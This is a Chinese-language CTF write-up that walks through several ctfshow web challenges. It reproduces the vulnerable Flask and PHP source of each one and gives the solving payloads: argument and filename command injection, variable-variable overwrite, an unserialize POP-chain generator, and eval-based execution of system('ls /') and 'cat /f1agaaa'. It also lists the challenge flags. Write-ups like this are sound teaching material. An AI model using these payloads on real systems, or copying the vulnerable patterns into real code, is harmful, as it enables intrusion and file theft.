ctfshow刷题

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来源：ctfshow

easyPytHon_P

考点：代码审计，源代码查看

打开后查看源码，发现一个源码地址，打开看看

可以知道在此目录下有个flag.txt文件，再观察源码

from flask import request
cmd: str = request.form.get('cmd')
param: str = request.form.get('param')
# ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓
import subprocess, os
if cmd is not None and param is not None:
    try:
        tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
        print('Done!')
    except subprocess.TimeoutExpired:
        print('Timeout!')
    except:
        print('Error!')
else:
    print('No Flag!')

发现传入两个参数cmd和param，会截取cmd的前三个字符当成命令run，param被当成参数。

所以直接构造cat flag.txt

payload:

1	cmd=cat&param=flag.txt

ctfshow{7d9cfcf5-9314-4eb0-9240-d77a6ca6f29d}

遍地飘零

考点：$$值覆盖，$_GET全局变量和本地变量

<?php
include "flag.php";
highlight_file(__FILE__);

$zeros="000000000000000000000000000000";

foreach($_GET as $key => $value){
    $$key=$$value;
}

if ($flag=="000000000000000000000000000000"){
    echo "好多零";
}else{
    echo "没有零，仔细看看输入有什么问题吧";
    var_dump($_GET);
}

分析代码可知，get传参的参数名会传给key，将key的值传给变量value。

然后进行变量值覆盖，将key的值当作变量名，将value的值也当作变量名，且赋值前者为后者。

例如：传递参数 ?get=aa，则$key=get,$value=$key=aa，

值覆盖时，$$key=$get，$$value=$aa

所以，目标是执行var_dump($flag)

构造payload:

1	?_GET=flag

传进去时，$key=_GET,$value=flag，再进行值覆盖，就变成了
1
$_GET=$flag
从而实现目标，得到flag

ctfshow{2fe8eb61-9f07-4713-a7f2-311a3e4786d3}

茶歇区

考点：多次整数溢出

先查看源码，找不到相关函数和score等计分的变量，所以不能通过控制台改代码了。

看到全是整数，想到整数溢出。先输入99999999999999999999

9223372036854775807

999999999999999999

输入999999999999999999，不断重复，直到出现flag

ctfshow{b31d09fc-4022-49ca-ad7d-ea533f98cdc2}

小舔田？

考点：序列化构造pop链

<?php
include "flag.php";
highlight_file(__FILE__);

class Moon{
    public $name="月亮";
    public function __toString(){
        return $this->name;
    }
    
    public function __wakeup(){
        echo "我是".$this->name."快来赏我";
    }
}

class Ion_Fan_Princess{
    public $nickname="牛夫人";

    public function call(){
        global $flag;
        if ($this->nickname=="小甜甜"){
            echo $flag;
        }else{
            echo "以前陪我看月亮的时候，叫人家小甜甜！现在新人胜旧人，叫人家".$this->nickname."。\n";
            echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
        }
    }
    
    public function __toString(){
        $this->call();
        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
    }
}

if (isset($_GET['code'])){
    unserialize($_GET['code']);

}else{
    $a=new Ion_Fan_Princess();
    echo $a;
}

进行代码审计，发现是个序列化题，有
1
__toString()和__wakeup()
构造一条pop链：
1
call() <- Ion_Fan_Princess:__toString() <- Moon:__wakeup()

<?php
class Moon{
    public $name;
    public function __toString(){
        return $this->name;
    }
    
    public function __wakeup(){
        echo "我是".$this->name."快来赏我";
    }
}

class Ion_Fan_Princess{
    public $nickname="小甜甜";
    
    public function __toString(){
        $this->call();
        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
    }
}

$a = new Moon();
$a->name = new Ion_Fan_Princess();
echo urlencode(serialize($a));
?>
//O%3A4%3A%22Moon%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A16%3A%22Ion_Fan_Princess%22%3A1%3A%7Bs%3A8%3A%22nickname%22%3Bs%3A9%3A%22%E5%B0%8F%E7%94%9C%E7%94%9C%22%3B%7D%7D

ctfshow{ab725e26-0530-4535-8cb5-517419dccb8b}

LSB探姬

考点：文件名中的命令执行

# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File       : app.py
# Time       ：2022/10/20 15:16
# Author     ：g4_simon
# version    ：python 3.9.7
# Description：TSTEG-WEB
# flag is in /app/flag.py
"""
from flask import *
import os
#初始化全局变量
app = Flask(__name__)
@app.route('/', methods=['GET'])
def index():    
    return render_template('upload.html')
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        try:
            f = request.files['file']
            f.save('upload/'+f.filename)
            cmd="python3 tsteg.py upload/"+f.filename
            result=os.popen(cmd).read()
            data={"code":0,"cmd":cmd,"result":result,"message":"file uploaded!"}
            return jsonify(data)
        except:
            data={"code":1,"message":"file upload error!"}
            return jsonify(data)
    else:
        return render_template('upload.html')
@app.route('/source', methods=['GET'])
def show_source():
    return render_template('source.html')
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80,debug=False)

分析可知，执行cmd命令，所以进行命令执行漏洞利用，在filename后执行ls命令

看到有flag.py，执行命令cat flag.py

ctfshow{343152ec-5bd1-467a-9f6c-33d7d8d3cfc8}

Is_Not_Obfuscate

考点：

打开后查看源码，发现端倪

先查看/robots.txt

查看/lib.php?flag=1

将这段复制到框中，再根据提示修改前端

然后得到一串代码

<?php
header("Content-Type:text/html;charset=utf-8");
include 'lib.php';
if(!is_dir('./plugins/')){
    @mkdir('./plugins/', 0777);
}
//Test it and delete it ！！！
//测试执行加密后的插件代码
if($_GET['action'] === 'test') {
    echo 'Anything is good?Please test it.';
    @eval(decode($_GET['input']));
}

ini_set('open_basedir', './plugins/');
if(!empty($_GET['action'])){
    switch ($_GET['action']){
        case 'pull':
            $output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));
            echo "pull success";
            break;
        case 'push':
            $input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));
            echo "push success";
            break;
        default:
            die('hacker!');
    }
}

看到了个eval函数，所以可以先利用push，再用pull执行命令。

首先，构造payload:

1	?action=push&output=<?php eval(system("ls /"));?>

这个payload会经过file_put_contents()函数存储在目录下。然后用file_get_contents()函数在目录下读取。所以

1
2
3

input=md5($_GET['output'].'youyou')。
payload:
?action=pull&input=b4b23ad51ccba6f288833a4e25cb361b

看到有个f1agaaa的文件，用同样的方式进行读取.

payload:

1 2	?action=push&output=<?php eval(system("cat /f1agaaa"));?> ?action=pull&input=ba53a5488a5dfda0aff1bb1ee5fcfaa2

ctfshow{876b2dd2-9785-4eb0-9a6d-7bf0a081bc5c}